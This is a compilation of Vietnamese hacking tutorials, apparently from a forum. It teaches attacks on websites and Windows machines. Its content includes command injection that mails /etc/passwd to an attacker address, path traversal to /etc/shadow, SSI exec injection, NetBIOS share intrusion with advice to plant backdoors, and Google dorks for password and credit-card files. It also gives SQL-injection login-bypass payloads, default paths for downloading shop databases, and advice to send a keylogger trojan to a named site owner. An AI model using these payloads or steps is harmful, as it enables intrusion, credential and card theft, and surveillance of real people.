# lưu địa chỉ email và comments in vào các biến
if ($name eq "address") { # lưu địa chỉ email
$address = $value;
} elsif ($name eq "comments") { # lưu comments
$comments = $value;
}
}
# tại điểm này, $address sẽ chứa địa chỉ đã được nhập vào trong form, và
# $comments sẽ chứa comments do người dùng nhập vào.
# --- phần "Quan trọng"
# phần này sẽ được phân tích chi tiết
open(MAIL,"| /bin/mail $address");
print MAIL "$comments";
close(MAIL);
# --- kết thúc phần "Quan trọng"
# in kết quả - output cho người dùng
print <<EOT;
<html>
Thanks for your comments :)
</html>
EOTBạn hãy chú ý đến phần "Quan trọng"! Trong Perl, hàm open được dùng để mở một file, ở đây là một ống dẫn - pipe đến lệnh "/bin/mail webmaster@vulnerable.com". Tuy nhiên, nếu bây giờ một kẻ tấn công nào đó copy trang vuln1.html để tạo một trang web mới với nội dung thay đổi một chút xíu. Hai dòng:
<form action="/cgi-bin/vuln1.pl" method="GET">
<input type="hidden" name="address" value="webmaster@vulnerable.com">sẽ được sửa lại thành:
<form action="http://www.vulnerable.com/cgi-bin/vuln1.pl" method="GET">
<input type="hidden" name="address" value="hacker@root.com">Lập tức bây giờ, mọi comments sẽ được mail đến hắn ta!
Chuyện gì sẽ xảy ra nếu hắn sửa đổi thêm một chút nữa:
value="hacker@root.com;mail hacker@root.com < /etc/passwd"
Okay, bây giờ thì hắn đã có file password trong hòm thư của hắn rồi đó!
Các kí tự meta
Một số kịch bản cgi sẽ lọc các kí tự | hoặc kí tự \n(newline). Kẻ tấn công sẽ chuyển sang dùng các kí tự meta:
%0a -> newline
%20 -> kí tự trắngThử lại với:
value="hacker@root.comm%0amail%20hacker@root.com%20<%20/etc/passwd"
Yeah! Đã thành công!
- Khai thác test.cgi
Kịch bản test.cgi được cài mặc định trên nhiều máy chủ. Nó được dùng để kiểm tra xem CGI có hoạt động tốt hay không. Nó thường chạy ở đặc quyền root! Sau đây là nội dung của file test.cgi:
#!/usr/bin/perl
print "Content-type: text/html\n\n";
open(FILE,"$ENV{'QUERY_STRING'}");
@FILE=;
close FILE;
foreach $line(@FILE){
print "$line";
}
exit;test.cgi nhận tham số thứ nhất là tên file cần mở. Sau đó nó sẽ output ra màn hình của client nội dung của file này. Điều gì sẽ xảy ra nếu ta đưa vào tham số thứ nhất là /etc/password hoặc index.html, ... Chúng ta sẽ có được nội dung của các file này! Hãy xem...
http://www.somesite.com/test.cgi?index.html
http://www.somesite.com/test.cgi?/etc/shadowBạn hãy để ý, home directory thường là /home/httpd/ nên để lấy được file mật khẩu shadow, chúng ta phải dùng thêm dấu ../(lên trên một cấp thư mục):
http://www.somesite.com/test.cgi?../../etc/shadow
Chắc bạn hiểu được chứ!
SSI không an toàn!
SSI, viết tắc của "Server Side Includes". Đây là các chỉ dẫn được đặt trong các file html. Server sẽ chịu trách nhiệm phân tích các chỉ dẫn này và sẽ chuyển kết quả cho client. Các file html này thường có đuôi là .sthml. Điều này tùy thuộc vào phần setup của server.
Mọi chỉ dẫn SSI được chèn vào file .shtml đều có dạng như sau:
<!--#"<thẻ><khoảng trắng><các tham số>[<khoảng trắng>]"-->
Đây là các ví dụ:
<!--#echo var="DATE_GMT" --> in ra thời gian hiện tại
<!--#include virtual="/ssi/header.html" --> gộp file tiêu đề header.html vào trang
<!--#exec cmd="uptime" --> hiển thị thời gian uptime của hệ thốngSau đây là một ví dụ đơn giản về một trang guestbook có dùng SSI dễ bị tổn thương!
file vuln2.html
<html>
<!--#include virtual="/ssi/header.html" -->
Thankyou for visiting my site. Please submit your comments and suggestions
here:
<br>
<form action="/cgi-bin/vuln2.pl" method="GET">
<textarea name="comments" rows=10 cols=40></textarea>
<br>
<input type="submit">
</form>
<hr>
Here's what other people have had to say:
<hr>
<!--begin-->
<!--#include virtual="/ssi/footer.html" -->
</html>file vuln2.pl
#!/usr/bin/perl
# chỉ định địa chỉ của trang sẽ được cập nhập
# hãy thay đổi lại đường dẫn của vuln2.shtml
$pagename = "/home/web/html/vuln2.shtml";
# in ra content-type header
print "Content-type: text/html\n\n";
# chuyển các thông tin nhận được từ form vào mảng@pairs
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# với mỗi cặp giá trị name/value trong mảng
foreach $pair (@pairs) {
# chia mảng này vào 2 biến
($name, $value) = split(/=/, $pair);
# đecode các dữ liệu
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
# lưu comments vào biến
if ($name eq "comments") { # lưu comments
$comments = $value;
}
}
# tại điểm này, $comments sẽ chứa comments mà người dùng đã nhập vào.
# chia các comment trong output file
$comments .= "\n<hr>\n";
# --- phần "Quan trọng"
# mở file để đọc/ghi
open(FILE,"+<$pagename") || (print("Cannot open file!\n") && exit);
# khóa file này để các tiến trình khác không mở được nó
flock(FILE, 2);
# đọc nội dung file vào mảng @list
@list = <FILE>;
# tìm kiếm trong mảng và chèn comments vào trước dòng
# <!--begin-->
$linenum = 1;
foreach $line (@list) {
if ($line =~ /^<!--begin-->/) {
$linenum--;
splice(@list, $linenum, 0, $comments);
last;
}
$linenum++;
}
# viết mảng trở lại file
seek(FILE,0,0);
truncate(FILE,0);
foreach $line (@list) {
print FILE $line;
}
# đóng file
close(FILE);
# --- kết thúc phần "Quan trọng"
# in kết quả cho người dùng
print <<EOT;
<html>
Thanks for your comments. Click <a href="/vuln2.shtml">here</a> to
return to the comments page :)
</html>
EOTKịch bản trên chảng kiểm tra các thông tin đầu vào!? Kẻ tấn công sẽ lợi dụng lỗ hỏng này và chèn dòng sau vào trong hộp comments:
<!--#exec cmd="cat /etc/passwd" -->
Okay, sau khi vuln2.pl xử lí xong, hắn sẽ nhận được nội dung của file password trong trang web! Bởi vì SSL đã được enable nên dòng <!--#exec cmd="cat /etc/passwd" --> mà vuln.pl chèn vào vuln2.shtml sẽ được thi hành. Kết quả là nội dung của file passwd sẽ được hiển thị nếu như vuln2.shtml được chạy ở đặc quyền root!
Ghi chú
Để có thể test thử file vuln2.shtml, bạn phải đặt quyền cho nó là 777:
#> chmod vuln2.shtml 777
Các công cụ quét .cgi
Có 2 công cụ rất dễ dùng, cho phép bạn quét qua danh sách các kịch bản cgi dẽ bị tổn thương! Đó là CGI Vulnerability Scan của Wang Products và VoidEye CGI scanner của void@void.ru. Cả hai đều chạy trên nền Win32, cho phép dùng proxy và cập nhập thêm vào danh sách các kịch bản cgi! Riêng VoidEye CGI scanner có giao diện 3D rất thân thiện. Bạn có thể download hai chương trình này trong mục "Công cụ"
Nếu bạn đang dùng Linux, bạn có thể download về các kịch bản quét .cgi rất mạnh sau: cgiscan.c + cgichk.c
Qua bài viết này, tôi hi vọng bạn sẽ hiểu rõ hơn về "Tấn công bằng phê chuẩn đầu vào là như thế nào"?! Chúc bạn vui vẻ!
Su Dung Legion
XÂM NHẬP MÁY TÍNH QUA MẠNG
Thong thuong mot hacker truoc khi xam nhap may tinh, thuong co gang cai mot trojan mo cong de xam nhap, noi tieng nhat la Trojan Back office.
Cong cu can thiet:
Dau tien ban can la mot truong trinhsacn goi la Netbios scaner, Legion hay Winhackgold. Chuong trinh se scan tat ca cac may co chia se file tren cung mot netbios.
Tuy nhien cach nay chi su dung voi nhung may chay Windows 9x va su dung File and Sharing . . .
Nhung chuong trinh nay co san tai Web Site: http://kickme.to/tuanvinh
Bat dau:
Sau khi ket noi vao mang, ban vao Star/run roi danh winipcfg, ban se nhan duoc mo dia chi IP ma ISP gan cho ban moi khi ban ket noi, neu ban ket noi bang modem thi so IP nay se thay doi goi la IP dong.
Trong muc SCAN FROM cua legion ban hay danh dia chi IP cua minh vao. Vi du minh co: 202.150.12.19 thi toi danh trong legion la 202.150.12 thoi. Bay gio mo muc TO cua Legion ban danh 202.150.xx (xx la dia chi IP bat ki ban danh vao).
Bay gio an nut SCAN, Legion se bat dau scan va cho tat ca cac ia chi IP no tim thay 1-254. Neu ban may man thi khi cho IP ban se nhin thay sau:
Share resources at\\202.11.11.42
Sharename Type Comment
A Disk Floppy
CDRIVE Disk C:\Drive
DDRIVE Disk D:\Drive
CDROM Disk CD-Rom Read only
The command was completed successfully
Hay kick vao dic chi IP doo voi lenh cua USE Net ban se co quyen kiem soat dia chi IP do.
Trong cua so Dos-Promt ban hay su dung cac lenh sau:
NET USE [drive: | *] [\\computer\directory [password | ?]]
[/SAVEPW:NO] [/YES] [/NO]
NET USE [port:] [\\computer\printer [password | ?]]
[/SAVEPW:NO] [/YES] [/NO]
NET USE drive: / */HOME
drive Specifies the drive letter you assign to a shared directory.
* Specifies the next available drive letter.
If used with /DELETE, specifies to disconnect all of your connections. Port Specifies the parallel (LPT) port name you assign to a shared printer. Vomputer Specifies the name of the computer sharing the resource.
Directory Specifies the name of the shared directory. Printer Specifies the name of the shared printer.
Password Specifies the password for the shared resource, if any.
? Specifies that you want to be prompted for the password of the shared resource. You don't need to use this option unless the password is optional.
/SAVEPW:NO Specifies that the password you type should not be saved in your password-list file. You need to retype the password the next time you connect to this resource.
/YES Carries out the NET USE command without first prompting you to provide information or confirm actions.
/DELETE Breaks the specified connection to a shared resource.
/NO Carries out the NET USE command, responding with NO automatically when you are prompted to confirm actions.
/HOME Makes a connection to your HOME directory if one is specified in your LAN Manager or Windows NT user account.
To list all of your connections, type NET USE without option.
To see this information one screen at a time, type the following at the command prompt:
NET USE /? \MORE
Or
NET HELP USE \MORE
Sau khi xam nhap vao may nay xong.
Ban nen mo 1 Port va cai san 1 BackDoor.
Lan sau ban co the vao thang may do va nam quyen toi cao.
Tuy nhien theo toi dung nen lam dung qua nhieu dong lenh.
Dieu do lam cham dong du lieu den may tinh do.
Chu nhan cua no se co the phat hien ra su co mat cua ban.
Va ho chi can tat may la ban het cach.
HAY CAN THAN!
Chung ban thanh cong!
Su dung Google de hack
Sử dụng công cụ tìm kiếm cho việc hack
pham thanh hai (Thanh vien chinh thuc cua Diendan00DT1)
Tôi biết bạn đang nghĩ gì?" Làm thế nào để tôi có thể dùng công cụ tìm kiếm để hack ?" điều này là ở thế,nhưng nó có thể giúp cho bạn những lợi ích thật sư nhanh và dễ dàng. Tôi xin được đưa vào nguyên văn :"it can't,but it can help you find vulnerable scripts really really fast and really really easy
Chúng cho phép bạn tìm thấy những điều mà bạn thực sự sẽ chưa bao giờ tìm thấy trước đó Và với đặc điểm tìm kiếm mới của google, bạn có thể thấy được những điềuđã được đưa xuống
Nếu bạn nghĩ rằng that o thoã đáng để đợi,tôi sẽ giải thích vài tình huống nơi tôi đã sử dụng công cụ tìm kiếm để có thể đột nhập và xem những gì mà admin muốn giữ bí mật
Bây giờ một phần lớn của điều mà nghe có vẻ như tôi là scripts kiddie (o hieu hihi) và với kỹ thuật này nó có vẻ là khá hữu dụng. Không có gì là sai với việc tìm con đường dễ bây giờ và về sau
Vì vậy chúng ta bắt đầu với ví dụ đầu tiên của việc sử dụng công cụ tìm kiếm để hack
Cơ sở dữ liệu là những file chứa dữ liệu trong đó,và chúng thường là thông tin, cơ sở dữ liệu hay là những gi giống thế (info.db,database.txt,list.txt)…. những cơ sở dữ liệu đó có thể chứa rất nhiều thứ khác nhau và khi để cả thế giới biết thì chúng có thể bị khai thác.
chúng ta hãy nói về công ty AAA, họ bán giấy trên web sites của họ. Công ty AAA đã sử dụng scripts từ http://www.freescripts.com/
vậy bước đầu tiên của chúng ta là gì ?
Chúng ta kiểm tra công ty AAA và thấy rằng họ đang sử dụng scripts từ http://www.freescripts.com/ và đầu tiên chúng ta kiểm tra Net để biết khai thác scripts. Nhưng bạn có biết chúng bằt đầu từ đâu không ? Tìm kiếm tên của một file trên google
"download submitform3.php3"
Nếu nó là một tên thông thường ta sẽ tìm được vài mẫu lệnh của scripts mà chứa ở trên tất cả các scripts,ví dụ : "scripts coded by redranger" và tìm kiếm nó
Ok bây giờ bạn đã có tên trang web chứa scripts, tìm trong trang chu của nó,tìm kiếm để biết khai thác và bạn cảm thấy thế thật là mất thời gian của bạn, cố gằng lần này, download scripts ở trên trang chủ của nó và nhìn toàn bộ để khai thác
Tôi đã thực sử kinh ngạc vì tỷ lệ của scripts có lỗ hổng bảo mật trong chúng (một cách hay nhiều cách khác nhau)
Bạn chưa từng tìm kiếm và khai thác thành công ?
Không sao cả, người bạn google sẽ giúp chúng ta.
Đến trang http://www.google.com/,đánh "allinurl:php site" và Enter : http://www.itvnonline.net/bai%20viet/www.google.com no se tim bat cu php scripts tren cong ti AAA.
Bạn cũng có thể tìm kiếm allinurl:cgi hoặc jsp hoặc bất cứ scripts nào bạn muốn tìm. Con đường tốt nhất cho mục tiêu ngẫu nhiên là khai thác được scripts mới nhất từ bugtraq và allinurl:script.cgi……… tôi không đề nghị như vậy, bởi vì như vậy thực sự là không hợp lý, một người nào đó có thể làm vậy và bạn không có lý do gì để khai thác nhiều trong số trang đó……nhưng có thể bạn sẽ phải đi ngang qua trang web củ kẻ địch
Tro lai co so du lieu,noi ve scripts trong cong ti AAA dua vao tu form cua truong khi ma nguoi su dung mua mot cai gi do.Nguoi su dung se dua vao ten,ngay sinh,dia chi,so dien thoai,the tin dung cua ho.scripts se luu tru nhung thong tin trong userdb.txt
Bay gio ban co the dung google voi allinurl:urluserdb.txt site:congtiAAA.com va nhin vao vi tri file nay dang luu tru,neu ban o thay co ket qua thi do la vi ho da thay doi ten cua db file hoac la ho dang chua chung trong thu muc o the doc duoc
Neu ban tim kiem co ket qua,co gang tim toan bo Net voi allinurl:userdb.txt
Hacker co the co duoc tap hop kha nhieu so the tin dung o trong tung thoi gian ngan voi ki thuat nay
Vao 1 ngay toi gui thong tin len trang web cua toi va toi nhan duoc 20000 email tu tim kiem file co so du lieu mac dinh de gui nhung scripts
Day la tin duoc gui tu ngay do
I decided to do a little searching google today….I found thousands of password.txt,passwd.txt,pass.txt and other files people don't want me seeing. Then while directory browsing a site I found maillist/address.txt which had like 20 email address in it …I think it is solution scripts powerlist scripts:
$address_file="address.txt" unless $address_file;
$pwd_file="password.txt" unless $pwd_file;
so I searched for address.txt and found tons of site with email lists.After downloading some popular mailing list scripts I checked them to see what their default mailing list database files were and I searched for those on google.I gathered over 20000 email address……I dunno if this is a lot in the spamming world, but I'd say It's something people should be alittle concerned about.(ngay hom nay toi quyet dinh tim kiem 1 chut voi google….toi da tim thay hang ngan password.txt,passwd.txt,pass.txt va rat nhieu files ma moi nguoi o muon toi nhin thay.Sau do trong khi thu muc tim kiem site toi da tim thay mailinglist/address.txt va co khoang 20 email trong do,toi nghi day la kha nang scripts de giai quyet
$address_file="address.txt" unless $address_file;
$pwd_file="password.txt" unless $pwd_file;
sau do toi tim kiem address.txt va toi nhin thay nhieu trang web voi list mail
sau khi download 1 so scripts trong list nhung email pho bien,toi da kiem tra chung va thay co gia tri mac dinh cua file co so du lieu o do va toi da tim duoc rat nhieu cai nhu the tren google
toi da thu thap duoc hon 20000 dia chi email ……toi muon noi rang moi thu co lien quan voi nhau)
tim kiem allinurl:htpasswd se dan den rat nhieu cau hinh cua trang web ma no cho fep ban xem ".htpasswd file".Co rat nhieu admin va user ngu ngoc se su dung login giong nhau,password cho tai khoan cua ho nhu ho da lam voi ".htpasswd"
dieu nay co nghia la neu 1 lan ban co .htpasswd va crack no,ban co the truy cap vao tai khoan cua ho.
Toi quyet dinh day co the la 1 phuong phap tot cho nguoi duoc phep tim kiem thu muc,ban co the doc duoc khoa hoc hay tai http://www.lameindustries.org/tutorials/victimcom/index.shtml
Toi da tim kiem "index of" tai google va cuoi cung thay rang
"of" la 1 tu rat thong dung va se o duoc dua vao tim kiem cua ban.
Vi the nen toi biet rang tim kiem "index" se o giup ta tim duoc nhung gi ta muon .vi the nen toi da nghi den cai thu 2 va co gang tim kiem thu muc ro rang ma toi muon xem
"index of/password" la tim kiem dau tien cua toi…….16000 ket qua
toi nghi dieu nay co the lam trong 1 lat è nao bay gio chung ta tim den mon thu vi hon
"index of/password" "index of/passwd" "index of/warez" "index of/boobs"
eeeee va day la buoc cuoi cung
o 1 buoc tiep theo toi nhan duoc thong tin o http://budkwan.virtualave.net/
anh ta noi voi toi lam the nao de mua xe su dung truong dua vao la an de dinh gia,vi the tim kiem type=hidden name=price boc lo ra it hon 100 trang voi loi nay
toi chac chan rang ban co the su dung cac phuong phap tim kiem khac
ho cho fep ban tim nhung holes trong form html ,password mac dinh
co so du lieu mac dinh and tim nhung loi bao mat rat nhanh va don gian.pham thanh hai email: 911@heartmail.com(Thanh vien chinh thuc cua Diendan00DT1)
SQL Injection-part 1: bypass login page
1 Background
Trước khi đọc tài liệu này, bạn nên có một khái niệm cơ bản về cơ sỡ dữ liệu và cách SQL được dùng để truy xuất chúng. Tôi xin giới thiệu các bạn tài liệu "Introduction to Database for Web Developers" của eXtropia.com tại địa chỉ http://www.extropia.com/tutorials/sql/toc.html
1.1 Tìm kiếm lổ hổng :
Bàn luận
Thật tế việc kiểm tra lỗi SQL Injection của một web application cần nhiều nỗ lực hơn mọi người tưởng. Thật là tốt đẹp nếu như ngay khi bạn thêm một dấu single quote (') vào gía trị của tham số đầu tiên trong một script và server trả lại một trang trắng với một lỗi ODBC trên đó, nhưng thật tế đó thì không phải đơn giản như vậy. Thật là dễ dàng để bỏ qua một đoạn script bị lỗi SQL Injection nếu như bạn không chú ý kỹ đến từng chi tiết.
Mọi tham số của mọi script trên server phải luôn luôn được kiểm tra một cách cẩn thận. Trong các appllication, programmer A viết script A có thể không cần quan tâm gì đến script B được phụ trách bởi programmer B , và khi script B bị phát hiện là có lỗi, người chịu trách nhiệm chính là anh B, anh A không liên quan gì hết. Thật tế, một programmer làm việc với Function A trong script A có thể không liên quan đến Function B ngay trong Script A, vì thế nếu một tham số trong script A có lỗi thì chưa chắc những tham số còn lại cũng có lỗi. Ngay cả khi nguyên cả một web applcation chỉ do một programmer độc lập thiết kế, viết code, kiểm tra, nhiều khi chỉ có một tham số có lỗi trong hàng ngàn các tham số, đơn giản là vì programmer đó quên kiểm tra data ở chỗ đó và chỉ ở chỗ đó mà thôi. Bạn không bao giờ có thể chắc chắn. Kiểm tra mọi thứ không bao giờ thừa.
2. Tiến hành kiểm tra :
Thay thế giá trị của từng tham số bằng một dấu nháy đơn (single quote) (') và một từ khoá của SQL ( ví dụ như "' WHERE"). Mỗi tham số phải được kiểm tra một cách riêng lẻ. Không những thế, khi kiểm tra từng tham số, phải không thay đổi của các tham số khác, và truyền cho chúng các giá trị hợp lệ. Nhiều người thường loại bỏ tất cả các tham số khác chỉ để lại tham số mà họ cần kiểm tra nhằm mục đích làm cho mọi việc trở nên đơn giản hơn, nhất là đối với các application có các tham số gồm mấy nghìn ký tự. Làm như vậy là sai lầm. Loại bỏ các tham số còn lại hoặc truyền cho chúng các giá trị không thích hợp khi bạn đang kiểm tra một tham số khác sẽ làm cho applcation xử lý theo cách khác, điều này ngăn cản bạn kiểm tra xem applcation đó có bị lỗi hay không. Để cho dễ hiểu hơn, mời các bạn xem qua ví dụ sau đây: giả sử một website có một "Feedback" appllication để bạn có thể liên lạc với webmaster của website đó. Nếu bạn muốn submit cái Feedback form này thì bạn phải điền vào tên và email của mình, giả sử như hai giá trị đó được lưu vào hai biến là $ContactName và $email. Bạn đã kiểm tra và nhận thấy rằng biến $Contactname không có lỗi, và bây giờ bạn muốn kiểm tra xem tham số "email" có lỗi hay không, bạn submit dòng giá trị không hợp lệ "ContactName=mArmIrO&email=' OR". Với dòng giá trị không hợp lệ, Feedback form sẽ phát sinh một lỗi ODBC và từ đó bạn có thể khẳng định chắc chắn là Feedback form đó có lỗi SQL Injection ở biến $email, tuy nhiên nếu bạn submit dòng giá trị tham số sau: "ContactName=BadContactNameValue&email='" thì có thể bạn sẽ không nhận được gì cả để có thể kết luận là có lỗi hay không. Đơn giản là nhiều khi programmer viết cái Feedback đó quy định nếu tham số $ContactName không có giá trị hoặc có giá trị không hợp lệ, thì sẽ gán $ContactName="Guess" và như thế bạn sẽ bỏ qua cái Feedback form vì cho rằng nó không có lỗi. Tới đây, có thể kết luận rằng điều cần phải nhớ khi kiểm tra SQL Injection là luôn luôn sử dụn tất cả các tham số, truyến cho chúng các giá trị hợp lệ ngoại trừ tham số bạn cần kiềm tra. Hãy nhớ câu nói cửa miệng của Rain Forest Puppy: "All is not lost".
2.1 Thu nhận kết quả :
Nếu như bạn nhận được một database server error thì chắc chắn rằng bạn có thể sử dụng SQL Injection để tấn công. Tuy nhiên, không phải lúc nào các database server error cũng rõ ràng cả. Mỗi developer đều có một cách viết code và một cách xử lý các error theo một cách riêng của họ, do đó bạn phải tìm kiếm thực kỹ các chứng cứ chứng tỏ rằng có thể sử dụng sql injection. Việc đầu tiên mà bạn cần làm là xem source của returned page ( page return lại khi bạn submit một dòng giá trị tham số không hợp lệ) để tìm kiếm các từ như "ODBC","SQL SERVER","Syntax"...Nhiều khi các chi tiết của error được lưu vào các hidden input, hoặc các comment...Kiểm tra luôn phần header và các link trên returned page, chú ý đến "302 page redirect", "500 Internal Server error page".
3. Tấn công
3.1 Vuợt qua các login page
3.1.1 Kỹ thuật "or"
Kỹ thuật đơn giản nhất của SQL Injectin là kỹ thuật vượt qua các login page hay còn gọi nôm na là kỹ thuật "or". Giả sử có một file login.asp như sau:
query="SELECT Username form Users WHERE Username='" & strusername & "' AND password ='"&strpassword & "'"
result=GetQueryResult(query)
If result="" Then
user=false
else
user=true
end if
......
Nếu hai biến strusername và strpassword có thể chứa tất cả các ký tự , bạn có thể chỉnh sửa câu lệnh SQL, từ đó bạn có thể login vào một cách dễ dàng. Làm việc đó như thế nào ? Bạn chỉ cần submit các giá trị:
Login:' OR "='
Password:' OR "='
Khi đó câu lệnh SQL sẽ trở thành
SELECT Username FROM Users where Username="" OR "=" AND password=" OR "="
Câu lệnh SQL trên một khi được thi hành sẽ trả về giá trị đầu tiên của field (trường) Username trong table(bảng) Users, và do đó bạn sẽ nghiễm nhiên có mọi quyền của user đó, nên nhớ là user đầu tiên của một web application thường có quyền admin.
Chú ý : kỹ thuật "or" sẽ không sử dụng được trong trường hợp câu lệnh query được chuyển tới cho một "stored procedure" xử lý, đơn giản vì SQL query khi được chạy trong một "stored procedure" không thể là một câu điều kiện, do đó sự xuất hiện của "or" sẽ làm phát sinh một syntax error. "Stored procedure" có trong các database server như MSSQL, Oracle, Postgres, không có trong MySQL.
3.1.2 Kỹ thuật ";--":
Trước tiên, xin bàn đến việc khi nào thì một câu lệnh query kết thúc. Đối với đa số database server, một câu lệnh query kết thúc khi gặp dấu ";", tuy nhiên có một số điểm cần lưu ý. MySQL không hỗ trợ multiple select ( hãy đọc TODO list của MySQL ), do đó đối với câu lệnh: mysql_query("select * from table1;select * from table2")MySQL chỉ thực thi câu lệnh thứ nhất và ném câu lệnh thứ hai vào...sọt rác. Đối với MS Access, thì dấu ";" tương đương với việc kết thúc câu lệnh và phía sau dấu ";" bắt buộc không có một ký tự nào khác ( ngoại trừ trường hợp của "UNION SELECT"), nói thật tôi vẫn chưa hiểu MS Access xử lý ra sao đối với dấu ";".Bây giờ xin bàn đến dấu "--" và dấu "#". Có một điều khá thú vị là MSSQL dùng dấu "--" để bắt đầu hiển thị các comment, và MySQL cũng hiển thị comment với dấu "#" (tương tự như dấu "//" để hiển thị comment trong PHP, dấu "'" trong ASP...). Như vậy thì chúng ta sẽ được lợi ích gì ? Hãy đọc kỹ phần phía dưới bạn sẽ rõ.
Trở lại với đoạn code login.asp ở phía trên và giả thiết thêm rằng đây là một MSSQL server. Nếu bạn submit các giá trị sau:
Login:blah' OR 1=1--
Password:blahblah
Câu lệnh query sẽ trở thành:
SELECT Username FROM Users where Username='blah' OR 1=1-- AND password=" OR "="
Hãy chú ý đến dấu "--", như đã nói ở trên, tất cả những gì ở phía sau "--" đều được MSSQL xem là comment, do đó câu lệnh thực sự chỉ là:
SELECT Username FROM Users where Username='blah' OR 1=1
Thấy gì chưa ? Bạn đã trở thành user đầu tiên rồi đó, nên nhớ đó thường là superuser.
Thậm chí bạn có thể login vào với tư cách của một user bất kỳ. Làm điều đó như thế nào ? Hãy tự tìm hiểu lấy .
Bổ sung thêm là hầu hết các web app lớn cho phép dùng sql đều mắc các vul giúp sql inject, đơn giản là như trong bài viết đề cập, trong hàng ngàn tham số có thể có vài tham số developer ko kiểm tra hết được, vấn đề là sơ hở có gây nên ảnh hưởng lớn hay ko. Với MS Access, các câu multiselect cách nhau bởi dấu ; sẽ được xử lý lần lượt (!?). Với cách inject dùng ;--, vd ở câu lệnh:
SELECT Username FROM Users where Username='blah' OR 1=1
một nguyên nhân giúp câu lệnh thực hiện thành công là ở đoạn kiểm tra điều kiện OR 1=1, dk này luôn trả về TRUE
SQL Injection là một trong những phương pháp mà các chuyên gia bảo mật thường xuyên sử dụng để tìm bug của các web app, các web forum...sau khi xác định được sơ hở, bước tiếp theo là tìm hiểu code để đưa ra cách fix, viết exploit...điều này mất rất nhiều thời gian.
Ví dụ cụ thể có thể áp dụng kĩ thuật SQL Injection các bạn có thể xem về lỗi login của Admentor, 1 web app về quảng cáo, lỗi này được phát hiện khá lâu rồi, nó cho phép login vào administration panel với username/pass là " or ''=", cụ thể như sau:
[
Admentor Login Flaw allow login as admin
Regarding : AdMentor v2.11 and earlier (tôi cũng đã test thành công trên version 2.20)
Homepage: http://www.aspcode.net
AdMentor allows any user to login as admin.
The base path of the login is usually :
http://www.someserver.com/admentor/admin/admin.asp
By using Login : ' or ''=' , and Password : ' or ''='
We create a legal query because it will get appended
as :SELECT row FROM table WHERE login = '' or
''=''
Same goes for the password. This allows us to login
without any trouble as the main admin. Vendor has
been warned of the bug, but has not released a patch
yet. Temporary solution, filter out the bad chars ' " ~ \
/ by using the following piece of javascript :
function RemoveBad(strTemp) {
strTemp = strTemp.replace(/\<|\>|\"|\'|\%|\;|\(|\)|\&|\+|
\-/g,"");
return strTemp; }
And calling it from within the asp script :
var login = var TempStr = RemoveBad
(Request.QueryString("login"));
var password = var TempStr = RemoveBad
(Request.QueryString("password"));
Iam not sure about the correct vars set in the form,
you might want to tweak it just a bit. Havent drunk my
coffee yet
(securityfocus)
còn khá nhiều site khác dùng admentor, có thể search bằng google dùng từ khóa "admentor/admin" để test.
Bài viết của W_Hat
SQL Injection-part 1: bypass login page
SalesCart Database Storage Insecurity
SalesCart Database Storage Insecurity :
Tổng quát : Lỗi này thực chất là dữ liệu của các chương trình mua bán không được bảo mật , mã hóa hay cất giữ cẩn thận => Bạn hoàn toàn có thể lấy chúng một cách dễ dàng
.
Lưu ý : Đôi khi với thực tế , 1 số link có thể khác đi . Không phải lúc nào cũng hoàn toàn đúng.
Dữ liệu có khi bao gồm cả CRD ( Credit Card ) nên mọi việc phải qua proxy ( nếu không có proxy thì có thể ra dịch vụ ...)
Khai thác :
Hãy sử dụng 1 trong những link sau :
www.victim.com/fpdb/shop.mdb
www.victim.com/shoponline/fpdb/shop.mdb
www.victim.com/database/metacart.mdb
www.victim.com/shopping/database/metacart.mdb
www.victim.com/shop/database/metacart.mdb
www.victim.com/metacart/database/metacart.mdb
www.victim.com/mcartfree/database/metacart.mdb
www.victim.com/ASP/cart/database/metacart.mdb
--------------------
Có nghĩa là database không hề có 1 chút bảo mật nào cả . Download vô tư . Trong database có thể bao gồm : name, surname, address, e-mail, phone number, credit card
number, and company name . Bạn có thể khai thác dữ liệu này . Nhưng trong thực tế , mọi việc không phải lúc nào cũng suôn sẽ cả . Bạn hãy tưởng tượng mỗi server có một cấu trúc riêng . ví dụ như đường dẫn không phải lúc nào cũng là fpdb/... hay như những link trên . Hãy tận dụng lỗi và thử từng cái một , nhiều khi là www.victim.com/muaban/fpdb/shop.mdb thì sao ? Cứ thử đi .. rồi bạn sẽ khai thác được nhiều
Lam sao de hack mot trang web
Đây là các bước một hacker sử dụng để Hack vào một server, kiến thức chỉ thế này thôi, nhưng Hack thành công hay không còn tùy vào người hack.
Làm sao để Hack một trang web :
Đây không còn là chuyện bạn đi kiếm trang web bị dính một lỗi để Hack nữa, bây giờ nó là chuyện khác, khi Hack vào một trang web bạn nhằm vào trước, có thể bạn sẽ tốn 1 giờ, một ngày hay vài tháng, không thể nào nói trước được. Và nên nhớ Hack là một nghệ thuật, phải biết dùng cái đầu hơn là dùng đôi tay.
1/ Tìm thông tin về trang Web đó :
Đây gọi là bước FootPrinting tức là thu thập thông tin của mục tiêu. Bạn dùng lệnh Whois để tìm thông tin về tên miền đó, nếu là người đàng hoành thì chắc chắn họ sẽ “khai báo” đầy đủ thông tin của mình, Ví dụ khi thử whois thằng http://www.ttvnonline.com/ thì bạn sẽ nhận được gì : Vũ Vương Thắng + đầy đủ thông tin của trang này (mail + địa chỉ nhà …), bạn còn chần chờ gì mà không gửi ngay cho nó một con Trojan keyloger, nhưng dễ hiểu quá, tôi khuyên bạn nên tự viết một con Trojan cho riêng mình, chứ không nên xài đồ có sẵn, như thế Victim sẽ dễ dàng phát hiện được Trojan mà bạn cài và dễ dàng xoá bỏ. Nhưng đôi khi gặp vài trang “Cà chớn” giống như http://www.vnlogic.net/ thì tên khai toàn fuck u không L
2/ Trong khi chờ đợi con keyloger của bạn làm việc, có thể nó gửi thông tin của Vũ Vương Thắng về hay đã bị die, bạn bắt tay vào việc quét server, trong phần trước bạn đã có thông tin về host của trang Web mình cần hack. Đầu tiên là quét cổng, quét xem server nó mở cổng nào, nếu may mắn bạn sẽ phát hiện thằng này đã bị ai hack rồi và một chú trojan đang mở rộng cửa đón bạn vào, nhưng nếu không có cũng chẳng sao cả, bạn sẽ phát hiện được thằng server chạy những cổng nào, từ đ1o phát hiện ra nó đang chạy những service nào. Một số server bạn có thể dùng như sau : http://www.vnn.vn/cgi-bin/test-cgi/*?* , mỗi dịch vụ của server sẽ bay ra như moi goi J
